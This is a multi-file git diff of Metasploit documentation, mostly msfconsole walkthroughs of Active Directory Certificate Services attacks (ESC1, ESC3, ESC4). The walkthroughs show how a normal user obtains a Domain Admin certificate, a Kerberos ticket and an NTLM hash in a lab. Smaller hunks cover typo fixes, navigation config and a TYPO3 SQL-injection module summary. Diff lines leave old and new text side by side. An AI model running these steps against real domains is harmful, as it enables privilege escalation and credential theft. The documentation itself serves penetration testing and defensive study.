SMBDomain DAFOREST no The Windows domain to use for authentication
SMBPass normaluser no The password for the specified username
SMBUser normal no The username to authenticate as
SMBPass normalpass no The password for the specified username
SMBUser normaluser no The username to authenticate as
Auxiliary action:
@@ -521,18 +549,27 @@ We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket grant
domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information.
# Exploiting ESC3 To Gain Domain Administrator Privileges
To exploit ESC3 vulnerable templates we will use a similar process to ESC2 templates but with slightly different steps. First, lets return to the earlier output where we can find several templates that are vulnerable to ESC3 attacks. However we need to split them by attack vector. The reason is that the first half of this attack needs to use the ESC3_TEMPLATE_1 vulnerable certificate templates to enroll in a certificate template that has the Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) that allows one to request certificates on behalf of other principals (such as users or computers).
To exploit ESC3 vulnerable templates we will use a similar process to
[[ESC2|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc2-to-gain-domain-administrator-privileges]] templates but
with slightly different steps. First, let's return to the earlier output where we can find several templates that are
vulnerable to ESC3 attacks. However we need to split them by attack vector. The reason is that the first half of this
attack needs to use the ESC3_TEMPLATE_1 vulnerable certificate templates to enroll in a certificate template that has
the Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) that allows one to request certificates on behalf of other
principals (such as users or computers).
The second part of this attack will then require that we co-sign requests for another certificate using the certificate that we just got, to then request a certificate that can authenticate to the domain on behalf of another user. To do this we will need to look for certificates in the `ldap_esc_vulnerable_cert_finder` module which are labeled as being vulnerable to the ESC3_TEMPLATE_2 attack.
The second part of this attack will then require that we co-sign requests for another certificate using the certificate
that we just got, to then request a certificate that can authenticate to the domain on behalf of another user. To do
this we will need to look for certificates in the `ldap_esc_vulnerable_cert_finder` module which are labeled as being
vulnerable to the ESC3_TEMPLATE_2 attack.
The list of ESC3_TEMPLATE_1 vulnerable templates is pretty short and consists of a single template:
- ESC3-TEMPLATE-1 - Vulnerable to ESC3_TEMPLATE_1 and allows enrollment via any authenticated domain user.
ESC3_TEMPLATE_2 are more plentiful though and we can find a few that are of interest:
- SubCA - Again as mentioned earlier can only be enrolled in by Doman Admins and Enterprise Admins, so not a viable vector.
- SubCA - Again as mentioned earlier can only be enrolled in by Domain Admins and Enterprise Admins, so not a viable vector.
- ESC3-Template2 - Enrollable via any authenticated domain user.
- User - Enrollable via any authenticated domain user.
- Administrator - Can only be enrolled in by Doman Admins and Enterprise Admins, so not a viable vector.
- Administrator - Can only be enrolled in by Domain Admins and Enterprise Admins, so not a viable vector.
- Machine - No real overlap between Domain Computers and Authenticated Users I don't think?
- DomainController - Can only be enrolled in by Domain Admins and Enterprise Admins, so not a viable vector.
@@ -572,10 +609,10 @@ Auxiliary action:
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normal
SMBUser => normal
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normaluser
SMBPass => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
SMBDomain => DAFOREST
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
@@ -606,7 +643,7 @@ host service type name content info
msf6 auxiliary(admin/dcerpc/icpr_cert) >
```
Next we'll try use this certificate to request another certificate on behalf of a different user. For this stage we need to specify another certificate that is vulnerable to the ESC3_TEMPLATE_2 attack vector that we are able to enroll in. We will use the `User` template for this:
Next, we'll try use this certificate to request another certificate on behalf of a different user. For this stage we need to specify another certificate that is vulnerable to the ESC3_TEMPLATE_2 attack vector that we are able to enroll in. We will use the `User` template for this:
```msf
msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
@@ -632,8 +669,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert):
tasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The target port (TCP)
SMBDomain DAFOREST no The Windows domain to use for authentication
SMBPass normaluser no The password for the specified username
SMBUser normal no The username to authenticate as
SMBPass normalpass no The password for the specified username
SMBUser normaluser no The username to authenticate as
Auxiliary action:
@@ -684,8 +721,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert):
tasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The target port (TCP)
SMBDomain DAFOREST no The Windows domain to use for authentication
SMBPass normaluser no The password for the specified username
SMBUser normal no The username to authenticate as
SMBPass normalpass no The password for the specified username
SMBUser normaluser no The username to authenticate as
Auxiliary action:
@@ -713,46 +750,207 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) >
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information.
# Getting A Kerberos Ticket
Once a certificate for a user has been claimed, that certificate can be used to issue a Kerberos ticket granting ticket
(TGT) which in tern can be used to authenticate to services.
# Exploiting ESC4 To Gain Domain Administrator Privileges
To exploit ESC4, we will require an account with write privileges over a certificate template object in Active
Directory. This involves finding an object with weak permissions defined within the `nTSecurityDescriptor` field. With
this object identified, we can modify it to reconfigure the template to be vulnerable to another ESC technique.
Ticket granting tickets can be requested using the [[kerberos/get_ticket|kerberos/get_ticket.md]] module by specifying
the `CERT_FILE` option. Take the certificate file from the last stage of the attack and set it as the `CERT_FILE`.
Certificates from Metasploit do not require a password, but if the certificate was generated from a source that added
one, it can be specified in the `CERT_PASSWORD` option. Set the `RHOST` datastore option to the Domain Controller, then
run the `GET_TGT` action.
First, we will use the `icpr_cert` module in an attempt to exploit ESC1 (by setting `ALT_UPN`). This fails because
the `ESC4-Test` certificate template does not allow the certificate's subject name to be supplied in the request (the
`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag is not set in the `msPKI-Certificate-Name-Flag` field).
```msf
msf6 > use kerberos/get_ticket
msf6 > use auxiliary/admin/dcerpc/icpr_cert
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
CA => daforest-WIN-BR0CCBA815B-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC4-Test
CERT_TEMPLATE => ESC4-Test
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
ALT_UPN => Administrator@daforest.com
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
Matching Modules
================
[-] 172.30.239.85:445 - There was an error while requesting the certificate.
[-] 172.30.239.85:445 - Denied by Policy Module
[-] 172.30.239.85:445 - Error details:
[-] 172.30.239.85:445 - Source: (0x0009) FACILITY_SECURITY: The source of the error code is the Security API layer.
[-] 172.30.239.85:445 - HRESULT: (0x80094812) CERTSRV_E_SUBJECT_EMAIL_REQUIRED: The email name is unavailable and cannot be added to the Subject or Subject Alternate name.
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
```
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/kerberos/get_ticket normal No Kerberos TGT/TGS Ticket Requester
Next, we use the `ad_cs_cert_template` module to update the `ESC4-Test` certificate template. This process first makes a
backup of the certificate data that can be used later. Next, the local certificate template data is read and used to
update the object in Active Directory. The local certificate template data can be modified to set a custom security
descriptor.
```msf
msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME normaluser
USERNAME => normaluser
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD normalpass
PASSWORD => normalpass
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
CERT_TEMPLATE => ESC4-Test
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE
ACTION => UPDATE
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
[*] Running module against 172.30.239.85
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/admin/kerberos/get_ticket
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] 172.30.239.85:389 Getting root DSE
[+] 172.30.239.85:389 Discovered base DN: DC=daforest,DC=com
[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
[*] Parsing SDDL text: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
```
[*] Using auxiliary/admin/kerberos/get_ticket
msf6 auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=192.168.159.10 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_192.168.159.10_windows.ad.cs_287833.pfx
[*] Running module against 192.168.159.10
Now that the certificate template has been updated to be vulnerable to ESC1, then we can use the `previous` shortcut
to switch back to the last module and reattempt to issue the certificate. This time, the operation succeeds.
[*] 192.168.159.10:88 - Getting TGT for smcintyre@msflab.local
[+] 192.168.159.10:88 - Received a valid TGT-Response
[*] 192.168.159.10:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230124202354_default_192.168.159.10_mit.kerberos.cca_566767.bin
```msf
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > previous
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[+] 172.30.239.85:445 - The requested certificate was issued.
[*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com
[*] 172.30.239.85:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
```
Finally, we switch back to the `ad_cs_cert_template` module to restore the original configuration. We do this by
setting the local template data option `TEMPLATE_FILE` to the JSON file that was created by the previous run.
```msf
msf6 auxiliary(admin/dcerpc/icpr_cert) > previous
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
TEMPLATE_FILE => /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
[*] Running module against 172.30.239.85
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] 172.30.239.85:389 Getting root DSE
[+] 172.30.239.85:389 Discovered base DN: DC=daforest,DC=com
[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083942_default_172.30.239.85_windows.ad.cs.te_000095.json
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
```
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
used to authenticate to Active Directory as the Domain Admin.
# Authenticating With A Certificate
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
## Authenticating To Kerberos
Certificates can be used to authenticate to Kerberos using the [[kerberos/get_ticket|kerberos/get_ticket.md]] module by
specifying the `CERT_FILE` option. Take the certificate file from the last stage of the attack and set it as the
`CERT_FILE`. Certificates from Metasploit do not require a password, but if the certificate was generated from a source
that added one, it can be specified in the `CERT_PASSWORD` option. Set the `RHOST` to the Domain Controller which is the
Key Distribution Center (KDC) for the Active Directory environment.
### Getting An NT Hash
Certificates can be used to obtain the NTLM hash of an account with the PKINIT extension. To request the hash, set the
action to `GET_HASH`.
```msf
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
[*] Running module against 172.30.239.85
[+] 172.30.239.85:88 - Received a valid TGT-Response
[*] 172.30.239.85:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230505094204_default_172.30.239.85_mit.kerberos.cca_324339.bin
[*] 172.30.239.85:88 - Getting NTLM hash for Administrator@daforest.com
[+] 172.30.239.85:88 - Received a valid TGS-Response
[*] 172.30.239.85:88 - TGS MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230505094204_default_172.30.239.85_mit.kerberos.cca_031414.bin
[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
[*] Auxiliary module execution completed
msf6 auxiliary(admin/kerberos/get_ticket) >
```
### Getting A Kerberos Ticket
Certificates can be used to issue a Kerberos ticket granting ticket (TGT) which in turn can be used to authenticate to
services such as HTTP, LDAP and SMB. Ticket granting tickets can be requested using the `GET_TGT` action.
```msf
msf6 auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_172.30.239.85_windows.ad.cs_287833.pfx
[*] Running module against 172.30.239.85
[*] 172.30.239.85:88 - Getting TGT for Administrator@daforest.com
[+] 172.30.239.85:88 - Received a valid TGT-Response
[*] 172.30.239.85:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin
[*] Auxiliary module execution completed
msf6 auxiliary(admin/kerberos/get_ticket) > klist
Kerberos Cache
==============
host principal sname issued status path
---- --------- ----- ------ ------ ----
192.168.159.10 smcintyre@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-01-24 20:23:54 -0500 valid /home/smcintyre/.msf4/loot/20230124202354_default_192.168.159.10_mit.kerberos.cca_566767.bin
host principal sname issued status path
---- --------- ----- ------ ------ ----
172.30.239.85 Administrator@daforest.com krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-01-24 20:23:54 -0500 valid /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin
msf6 auxiliary(admin/kerberos/get_ticket) >
```
Once the TGT has been issued, it can be seen in the output of the `klist` command. With the TGT saved, it will
automatically be used in the future to request ticket granting services (TGS) for authentication to specific services.
## Authenticating To LDAP
Certificates can also be used to directly authenticate to LDAP using schannel. Metasploit modules that use the builtin
LDAP library (including `auxiliary/gather/ldap_query`) offer this as an authentication option that can be enabled. To
use schannel authentication a few options must be set.
* `LDAP::Auth` -- must be set to `schannel`
* `LDAP::CertFile` -- must be set to the PFX certificate file with which to authenticate
* `SSL` -- must be set to `true` (`schannel` authentication is only compatible with TLS connections)
```msf
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(gather/ldap_query) > set LDAP::Auth schannel
LDAP::Auth => schannel
msf6 auxiliary(gather/ldap_query) > set LDAP::CertFile /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
LDAP::CertFile => /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
msf6 auxiliary(gather/ldap_query) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(gather/ldap_query) > enum_domain
[*] Running module against 172.30.239.85
[*] Discovering base DN automatically
[+] 172.30.239.85:389 Discovered base DN: DC=daforest,DC=com
[+] 172.30.239.85:389 Discovered schema DN: DC=daforest,DC=com
DC=msflab DC=local
==================
Name Attributes
---- ----------
lockoutduration 0:00:30:00
lockoutthreshold 0
maxpwdage 42:00:00:00
minpwdage 1:00:00:00
minpwdlength 7
ms-ds-machineaccountquota 10
name msflab
objectsid S-1-5-21-3402587289-1488798532-3618296993
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
@@ -176,7 +176,7 @@ git config commit.gpgsign true
Developers tend to customize their own [git aliases] to speed up common commands, but here are a few common ones:
```
```ini
[alias]
# An easy, colored oneline log format that shows signed/unsigned status
nicelog = log --pretty=format:'%Cred%h%Creset -%Creset %s %Cgreen(%cr) %C(bold blue)<%aE>%Creset [%G?]'
@@ -216,9 +216,9 @@ We're excited to see your upcoming contributions of new modules, documentation,
Finally, we welcome your feedback on this guide, so feel free to reach out to us on [Slack] or open a [new issue]. For their significant contributions to this guide, we would like to thank [@kernelsmith], [@corelanc0d3r], and [@ffmike].
[commercial-installer]:http://metasploit.com/download
[commercial-installer]:https://metasploit.com/download
[kali-user-instructions]:https://docs.kali.org/general-use/starting-metasploit-framework-in-kali
[parrot-user-instructions]:https://parrotsec.org/docs/installation.html
[parrot-user-instructions]:https://parrotsec.org/docs/category/installation
[CONTRIBUTING.md]:https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md
[Ubuntu]:https://www.ubuntu.com/download/desktop
@@ -14,7 +14,7 @@ The following sites are great references for Git padawans and jedi alike:
* [Git is Easier Than You Think](http://nfarina.com/post/9868516270/git-is-simpler): A nice tutorial that breaks down one Git user's experience switching from Subversion.
* [PeepCode: Git](http://peepcode.com/products/git): A one-hour (not-free) screencast covering Git basics. Well-made and easy to follow.
* [GitHub Flow](http://scottchacon.com/2011/08/31/github-flow.html): Another great post from Scott Chacon describing a GitHub-based workflow for projects.
* [Getting Started with GitHub](http://pragprog.com/screencasts/v-scgithub/insider-guide-to-github): Also from GitHub's own Scott Chacon, this two-part screencast (one free and one paid) will walk you through the basics of using GitHub.
* [Getting Started with GitHub](https://pragprog.com/screencasts/v-scgithub/insider-guide-to-github): Also from GitHub's own Scott Chacon, this two-part screencast (one free and one paid) will walk you through the basics of using GitHub.
## Using Git in Editors
@@ -110,8 +110,8 @@ your day-to-day workflow with Git.
## Git in Bash
When using Git, it's very handy (read: pretty much mandatory) to have an ambient cue in your shell telling you what branch you're currently on. Use this function in your .profile/.bashrc/.bash_profile to enable you to place your Git branch in your prompt:
````
```sh
function parse_git_branch {
git branch --no-color 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1)/'
}
````
```
@@ -12,7 +12,7 @@ A fork is when you snapshot someone else's codebase into your own repo, presumab
You only fork once, you clone as many times as you have machines on which you want to code, and you branch, commit, and push as often as you like (you don't always have to push, you can push later or not at all, but you'll have to push before doing a pull request, a.k.a. PR), and you submit a PR when you are ready. See below
```
```plaintext
github.com/rapid7/metasploit-framework --> fork --> github.com/<...>/metasploit-framework
^ |
| git clone git://github.com/<...>/metasploit-framework.git
@@ -26,4 +26,4 @@ github.com/rapid7/metasploit-framework --> fork --> github.com/<...>/metasploit-
`-- push <-- branch_xyz
```
(Thanks to kernelsmith for this excellent description)
(Thanks to kernelsmith for this excellent description)
@@ -198,8 +198,7 @@ Asking for: https/TSTWLPT1000000
Tickets in the current session can be viewed like so:
```
```msf
meterpreter > kerberos_ticket_list
[+] Kerberos tickets found in the current session.
[00000000] - 0x00000012 - aes256_hmac
@@ -2,7 +2,7 @@
Since version 6.3, Metasploit has included authentication via Kerberos for multiple types of modules. Kerberos
authentication allows Metasploit users to request and utilize Ticket Granting Tickets (TGTs) and Ticket Granting
Services (TGSs) to authenticate with supported modules. Metasploit uses an internal caching and storage machanism but
Services (TGSs) to authenticate with supported modules. Metasploit uses an internal caching and storage mechanism but
tickets are stored able to be both exported and imported from [MIT Credential Cache][1] (CCACHE) files. A converter for
Kirbi to and from CCACHE files is also available in the `auxiliary/admin/kerberos/ticket_converter` module.
@@ -268,7 +268,7 @@ Simultaneous Users: 16777216
## Using external tickets with Metasploit
A ticket obtained outside of Metasploit can be used for authentication by setting the `${Prefix}::Krb5Ccname` option
which is prioritized over the cache. This file must be in the [MIT Credential Cache][1] (CCACHE) file formath. If the
which is prioritized over the cache. This file must be in the [MIT Credential Cache][1] (CCACHE) file format. If the
ticket is in the Kirbi format, it must first be converted using the `auxiliary/admin/kerberos/ticket_converter` module.
When an explicit CCACHE file is specified to load a ticket from, Metasploit will first attempt to load a TGS ticket
+28 -11
View File
@@ -197,20 +197,26 @@ NAVIGATION_CONFIG = [
{
path: 'ad-certificates/overview.md',
title: 'Overview',
nav_order: 0,
nav_order: 0
},
{
path: 'ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md',
title: 'Attacking AD CS ESC Vulnerabilities Using Metasploit',
nav_order: 1
},
{
path: '../../documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md',
title: 'Vulnerable cert finder',
nav_order: 2
},
{
path: '../../documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md',
title: 'Manage certificate templates'
},
{
path: '../../documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md',
title: 'Request certificates'
},
{
path: '../../documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md',
title: 'Vulnerable cert finder'
},
{
path: 'ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md',
title: 'Attacking AD CS ESC Vulnerabilities Using Metasploit'
},
}
]
}
]
@@ -266,7 +272,7 @@ NAVIGATION_CONFIG = [
{
path: 'How-to-use-msfvenom.md',
nav_order: 7
},
}
]
},
{
@@ -297,6 +303,10 @@ NAVIGATION_CONFIG = [
path: 'Metasploit-Database-Support.md',
title: 'Database Support'
},
{
path: 'How-To-Use-Plugins.md',
title: 'Metasploit Plugins',
}
]
},
{
@@ -526,6 +536,10 @@ NAVIGATION_CONFIG = [
{
path: 'How-to-use-command-stagers.md'
},
{
path: 'How-to-use-fetch-payloads.md',
title: 'How to use Fetch Payloads'
},
{
old_wiki_path: 'How-to-write-a-check()-method.md',
path: 'How-to-write-a-check-method.md'
@@ -533,6 +547,9 @@ NAVIGATION_CONFIG = [
{
path: 'How-to-check-Microsoft-patch-levels-for-your-exploit.md'
},
{
path: "How-to-write-a-cmd-injection-module.md"
}
]
},
{
@@ -21,7 +21,7 @@ Shell #1:
[*] instance i-12345678 status: initializing
...
[*] instance i-12345678 status: ok
[*] Instance i-12345678 has IP adrress 35.12.4.1
[*] Instance i-12345678 has IP address 35.12.4.1
[*] Auxiliary module execution completed
```
@@ -56,7 +56,7 @@ can be made available by assigning an Internet routable IP address to a host or
routing traffic to it through an ELB (Elastic Load Balancer). In either case
security-groups are used to open access to network ranges and specific TPC/UDP
ports. Security-groups provide much of the functionality of traditional firewalls
and can be configured by specifyig a protocol, a CIDR and a port.
and can be configured by specifying a protocol, a CIDR and a port.
## How it Works
@@ -126,7 +126,7 @@ Advanced Options:
* `INSTANCE_TYPE`: The instance type
* `MaxCount`: Maximum number of instances to launch
* `MinCount`: Minumum number of instances to launch
* `MinCount`: Minimum number of instances to launch
* `ROLE_NAME`: The instance profile/role name
* `RPORT:` AWS EC2 Endpoint TCP Port
* `SEC_GROUP_ID`: the EC2 security group to use
@@ -21,6 +21,15 @@ The certificate template to issue, e.g. "User".
### ALT_DNS
Alternative DNS name to specify in the certificate. Useful in certain attack scenarios.
### ALT_SID
Alternative object SID to specify in the NTDS_CA_SECURITY_EXT extension. This is useful when exploiting ESC1 on a target
where the [KB5014754][KB5014754] patch has been applied.
See the following resources for more information.
* https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
* https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d
### ALT_UPN
Alternative User Principal Name (UPN) to specify in the certificate. Useful in certain attack scenarios. This is in the
format `$username@$dnsDomainName`.
@@ -112,11 +121,18 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) >
### Issue A Certificate With A Specific subjectAltName (AKA ESC1)
In this scenario, an authenticated user exploits a misconfiguration allowing them to issue a certificate for a different
User Principal Name (UPN), typically one that is an administrator. Exploiting this misconfiguration to specify a
different UPN effectively issues a certificate that can be used to authenticate as another user.
different UPN effectively issues a certificate that can be used to authenticate as another user. If the target server
has the [KB5014754][KB5014754] patch applied and the REG_DWORD
`HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement` value is set to 2, then the SID for the
account with the specified UPN should be supplied as well. In November of 2023, Microsoft will change the default value
of `StrongCertificateBindingEnforcement` to 2. If the server has the patch applied, the SID will be returned in the
issued certificate which ensures that the required strong mapping is in place. If the strong mapping is required and the
SID is not specified in the certificate, then Kerberos authentication will fail with `KDC_ERR_CERTIFICATE_MISMATCH`.
The user must know:
* A vulnerable certificate template, in this case `ESC1-Test`.
* The SID of a target account, in this case `S-1-5-21-3402587289-1488798532-3618296993-1000`
* The UPN of a target account, in this case `smcintyre@msflab.local`.
See [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2) section on ESC1 for more
@@ -134,20 +150,25 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
CA => msflab-DC-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Test
CERT_TEMPLATE => ESC1-Test
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN smcintyre@msflab.local
ALT_UPN => smcintyre@msflab.local
msf6 auxiliary(admin/dcerpc/icpr_cert) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 192.168.159.10
[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 192.168.159.10:445 - Binding to \cert...
[+] 192.168.159.10:445 - Bound to \cert
[*] 192.168.159.10:445 - Requesting a certificate...
[*] 192.168.159.10:445 - Requesting a certificate for user aliddle - alternate UPN: smcintyre@msflab.local - digest algorithm: SHA256 - template: ESC1-Test
[+] 192.168.159.10:445 - The requested certificate was issued.
[*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000
[*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125859_default_unknown_windows.ad.cs_829589.pfx
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230608111432_default_192.168.159.10_windows.ad.cs_029062.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
msf6 auxiliary(admin/dcerpc/icpr_cert) >
```
### Issue A Certificate With The *Any Purpose* EKU (AKA ESC2)
@@ -287,3 +308,5 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
```
[KB5014754]: https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
@@ -128,7 +128,7 @@ ncasCb - Show detailed ncas information, related to either call services,
uptime - Show phone uptime.
appPrt - Show UI's call status.
fntPrt - Show information about fonts available on phone.
memtop - Shows the top poiter to current memory.
memtop - Shows the top pointer to current memory.
removeScheduledLogEntry - debug
addScheduledLogEntry - debug
fatalError - Simulate fatal error for the phone.
@@ -178,8 +178,8 @@ localePrintAll - localePrintAll
ceShow - Show Client Engine Status
Commands 101 to 121:
udiShow - Show Unique Device Indentifier
show - Show Unique Device Indentifier
udiShow - Show Unique Device Identifier
show - Show Unique Device Identifier
pbnShow - Display app & bootrom headers
upr - Upgrade to a Rockpile Standalone Image
upm - Upgrade to a Rockpile Manf Image
@@ -336,7 +336,7 @@ ncasCb - Show detailed ncas information, related to either call services,
uptime - Show phone uptime.
appPrt - Show UI's call status.
fntPrt - Show information about fonts available on phone.
memtop - Shows the top poiter to current memory.
memtop - Shows the top pointer to current memory.
removeScheduledLogEntry - debug
addScheduledLogEntry - debug
fatalError - Simulate fatal error for the phone.
@@ -386,8 +386,8 @@ localePrintAll - localePrintAll
ceShow - Show Client Engine Status
Commands 101 to 121:
udiShow - Show Unique Device Indentifier
show - Show Unique Device Indentifier
udiShow - Show Unique Device Identifier
show - Show Unique Device Identifier
pbnShow - Display app & bootrom headers
upr - Upgrade to a Rockpile Standalone Image
upm - Upgrade to a Rockpile Manf Image
@@ -4,7 +4,7 @@ News module extensions v5.3.2 and earlier for TYPO3 contain an SQL injection vul
## Vulnerable Application
In vulnerable versions of the news module for TYPO3, a filter for unsetting user specified values does not account for capitalization of the paramter name. This allows a user to inject values to an SQL query.
In vulnerable versions of the news module for TYPO3, a filter for unsetting user specified values does not account for capitalization of the parameter name. This allows a user to inject values to an SQL query.
To exploit the vulnerability, the module generates requests and sets a value for `order` and `OrderByAllowed`, which gets passed to the SQL query. The requests are constructed to reorder the display of news articles based on a character matching. This allows a blind SQL injection to be performed to retrieve a username and password hash.
